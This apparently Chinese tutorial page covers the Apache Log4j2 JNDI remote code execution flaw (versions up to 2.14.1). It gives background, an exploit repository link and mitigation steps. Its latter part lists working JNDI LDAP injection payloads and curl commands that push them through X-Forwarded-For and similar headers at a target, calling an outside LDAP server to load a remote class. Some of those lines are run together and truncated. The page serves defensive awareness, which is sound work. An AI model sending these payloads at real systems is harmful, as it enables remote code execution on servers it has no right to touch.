zl程序教程

您现在的位置是:首页 >  工具

当前栏目

Apache Log4j2 日志记录服务之远程代码执行漏洞实践与防护

Apache漏洞日志服务 远程 实践 记录 防护
2023-06-13 09:13:36 时间

注意:本文分享给安全从业人员、网站开发人员以及运维人员在日常工作防范恶意攻击,请勿恶意使用下面介绍技术进行非法攻击操作。

[TOC]

0x00 快速介绍

Apache Log4j2 日志记录服务之远程代码执行漏洞实践与防护

背景介绍: Apache Log4j2 是一个开源的Java日志框架,被广泛地应用在中间件、开发框架与Web应用中。 Tips: Log4j2是Log4j的升级版, 对其前身Log4j 1.x进行了重大改进, 并提供了Logback中可用的许多改进,同时修复了Logback架构中的一些固有问题。

Apache 日志记录服务官网: https://logging.apache.org/ Log4j2 项目官网: https://logging.apache.org/log4j/2.x/index.html

漏洞时间: 影响版本: Apache Log4j 2.x <= 2.14.1

POC & Exploit: https://github.com/tangxiaofeng7/apache-log4j-poc

简单分析+审计:

https://bbs.ichunqiu.com/thread-62322-1-1.html

https://mp.weixin.qq.com/s/-_e_Jk_6F5LZ9qOuheTQxA

https://mp.weixin.qq.com/s/15zcLEk6_x2enszhim9afA

修复建议:

安全建议

  1. 升级Apache Log4j2所有相关应用到最新的 log4j-2.15.0-rc2 版本,地址:https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2
  2. 升级已知受影响的应用及组件,如srping-boot-strater-log4j2/Apache Solr/Apache Flink/Apache Druid
  3. jvm参数 -Dlog4j2.formatMsgNoLookups=true
  4. log4j2.formatMsgNoLookups=True
  5. 系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为true
  6. 禁止使用log4j的服务器外连出网
  7. 使用高版本jdk(如jdk11.0.1、8u191、7u201、6u211或更高版本),因为高版本jdk默认无法利用jndi注入

${jndi:ldap://10.20.172.103:8088/Exploit}

curl http://192.168.12.215:32086/kaptcha?_=1639371809353 -H ‘X-Real-IP: ${jndi:ldap://10.20.172.103:8088/Exploit}’

-H ‘X_FORWARDED_FOR: ${jndi:ldap://10.20.172.103:8088/Exploit}’

curl http://192.168.12.215:32086/kaptcha?_=1639371809353 -H ‘X-Forwarded-For: {jndi:ldap://10.20.172.103:8088/Exploit}’curl http://192.168.12.215:32086/kaptcha?_=1639371809353 -H ‘Proxy-Client-IP: {jndi:ldap://10.20.172.103:8088/Exploit}’curl http://192.168.12.215:32086/kaptcha?_=1639371809353 -H ‘WL-Proxy-Client-IP: {jndi:ldap://10.20.172.103:8080/Exploit}’curl http://192.168.12.215:32086/kaptcha?_=1639371809353 -H ‘HTTP_CLIENT_IP: {jndi:ldap://10.20.172.103:8088/Exploit}’curl http://192.168.12.215:32086/kaptcha?_=1639371809353 -H ‘HTTP_X_FORWARDED_FOR:

X-Forwarded-For: {jndi:ldap://10.20.172.103:8088/badClassName}Proxy-Client-IP: {jndi:ldap://10.20.172.103:8088/badClassName}WL-Proxy-Client-IP: {jndi:ldap://10.20.172.103:8088/badClassName}HTTP_CLIENT_IP: {jndi:ldap://10.20.172.103:8088/badClassName}HTTP_X_FORWARDED_FOR:

${jndi:ldap://37bo7s.ceye.io/a}

String ip="";
String ip1 = request.getHeader("X_FORWARDED_FOR");
String ip2 = request.getHeader("X-Forwarded-For");
String ip3 = request.getHeader("Proxy-Client-IP");
String ip4 = request.getHeader("WL-Proxy-Client-IP");
String ip5 = request.getHeader("HTTP_CLIENT_IP");
String ip6 = request.getHeader("HTTP_X_FORWARDED_FOR");